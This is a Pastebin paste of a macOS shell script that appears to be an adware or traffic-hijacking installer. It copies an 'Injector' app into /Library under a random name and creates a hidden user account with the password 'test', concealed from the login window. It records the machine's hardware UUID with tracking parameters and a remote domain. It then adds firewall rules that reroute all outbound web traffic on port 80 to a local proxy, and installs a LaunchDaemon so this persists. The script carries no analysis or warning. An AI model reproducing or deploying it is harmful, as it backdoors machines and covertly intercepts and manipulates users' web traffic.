Advertisement
Guest User

Untitled

a guest
Jun 8th, 2016
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.10 KB | None | 0 0
  1. #!/bin/sh
  2. updf="/var/tmp/updt.txt"
  3.  
  4. # get random names
  5. n=$(cat /usr/share/dict/words | wc -l)
  6.  
  7. companyName=$(cat -n /usr/share/dict/words | grep -w $(jot -r 1 1 $n) | cut -f2)
  8. echo $companyName
  9.  
  10. # create hidden user
  11. HIDDEN_USER=$(cat -n /usr/share/dict/words | grep -w $(jot -r 1 1 $n) | cut -f2)
  12. echo $HIDDEN_USER >> $updf
  13. userName=$HIDDEN_USER
  14.  
  15. preferencesFileName="com."
  16. preferencesFileName+=$companyName
  17. preferencesFileName+=".plist"
  18. echo $preferencesFileName >> $updf
  19.  
  20. netPreferencesFileName="com."
  21. netPreferencesFileName+=$companyName
  22. netPreferencesFileName+=".plist"
  23. echo $netPreferencesFileName >> $updf
  24.  
  25. settingsFileName=$companyName
  26. settingsFileName+=".sh"
  27.  
  28. configFileName=$companyName
  29. configFileName+=".conf"
  30.  
  31. settingsFileData="#!/bin/sh\n\
  32. \n\
  33. if [ -a /Library/"$companyName"/Contents/MacOS/"$companyName" ];\n\
  34. then\n\
  35. sleep 10\n\
  36. sudo pfctl -evf /etc/"$configFileName"\n\
  37. sudo -u "$userName" /Library/"$companyName"/Contents/MacOS/"$companyName"\n\
  38. fi\n\
  39. exit 0\n"
  40. echo "$settingsFileData" > /etc/$settingsFileName
  41. sudo chown root /etc/$settingsFileName
  42. sudo chmod 755 /etc/$settingsFileName
  43.  
  44. # copy files
  45. sudo cp -r Injector.app $companyName
  46. sudo cp -r $companyName /Library
  47. sudo rm -r $companyName
  48. sudo chmod -R 755 "/Library/"$companyName
  49.  
  50. #change name of the exe
  51. sudo mv "/Library/"$companyName"/Contents/MacOS/Injector" "/Library/"$companyName"/Contents/MacOS/"$companyName
  52.  
  53. #configure hidden account
  54. HIDDEN_PASS=test
  55. HIDDEN_UID=401
  56. HIDDEN_NAME="User "$HIDDEN_USER
  57.  
  58. HIDDEN_HOME="/var/$HIDDEN_USER"
  59.  
  60. sudo dscl . -create /Users/$HIDDEN_USER UniqueID $HIDDEN_UID
  61. sudo dscl . -create /Users/$HIDDEN_USER PrimaryGroupID 20
  62. sudo dscl . -create /Users/$HIDDEN_USER NFSHomeDirectory "$HIDDEN_HOME"
  63. sudo dscl . -create /Users/$HIDDEN_USER UserShell /bin/bash
  64. sudo dscl . -create /Users/$HIDDEN_USER RealName "$HIDDEN_NAME"
  65. sudo dscl . -passwd /Users/$HIDDEN_USER $HIDDEN_PASS
  66. sudo mkdir "$HIDDEN_HOME"
  67. sudo chown -R $HIDDEN_USER "$HIDDEN_HOME"
  68. sudo chmod a+rwx "/Library/"$companyName"/Contents/MacOS/"$companyName
  69.  
  70. # Enable the Hide500Users attribute
  71. sudo defaults write /Library/Preferences/com.apple.loginwindow Hide500Users -bool YES
  72.  
  73. # read parameters
  74. dist_channel_id=$1
  75. machine_id=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')
  76. click_id=$2
  77. domain=$3
  78.  
  79. if [ -z "$dist_channel_id" ];
  80. then
  81. echo "Default for dist channel" >> $updf
  82. dist_channel_id="A1000"
  83. fi
  84.  
  85. if [ -z "$click_id" ];
  86. then
  87. echo "Default for click id" >> $updf
  88. click_id="0"
  89. fi
  90.  
  91. if [ -z "$domain" ];
  92. then
  93. echo "Default for domain"
  94. domain="http://aadcd15734d97346bb85f545dc8ca03e7e.com"
  95. fi
  96.  
  97. # write parameters to preferences file
  98. sudo defaults write "/Library/Preferences/"$preferencesFileName dist_channel_id "$dist_channel_id"
  99. sudo defaults write "/Library/Preferences/"$preferencesFileName machine_id "$machine_id"
  100. sudo defaults write "/Library/Preferences/"$preferencesFileName click_id "$click_id"
  101. sudo defaults write "/Library/Preferences/"$preferencesFileName domain "$domain"
  102. sudo plutil -convert xml1 "/Library/Preferences/"$preferencesFileName
  103.  
  104. # INSTALL SERVER
  105. # set redirections
  106. activeInterface=$(route get default | sed -n -e 's/^.*interface: //p')
  107. if [ -n "$activeInterface" ]; then
  108. pfData="rdr pass inet proto tcp from $activeInterface to any port 80 -> 127.0.0.1 port 9882\n\
  109. pass out on $activeInterface route-to lo0 inet proto tcp from $activeInterface to any port 80 keep state\n\
  110. pass out proto tcp all user "$HIDDEN_USER"\n"
  111. echo "$pfData" > /etc/$configFileName
  112.  
  113. # run server
  114. sudo cp com.pref.plist "/Library/LaunchDaemons/"$netPreferencesFileName
  115. sudo defaults write "/Library/LaunchDaemons/"$netPreferencesFileName Label "$netPreferencesFileName"
  116. sudo defaults write "/Library/LaunchDaemons/"$netPreferencesFileName ProgramArguments -array '/etc/'$settingsFileName''
  117. sudo chmod 755 "/Library/LaunchDaemons/"$netPreferencesFileName
  118. sudo launchctl load -w "/Library/LaunchDaemons/"$netPreferencesFileName
  119.  
  120. else
  121. echo "Unable to find active interface" >> $updf
  122. exit 1
  123. fi
  124.  
  125. exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement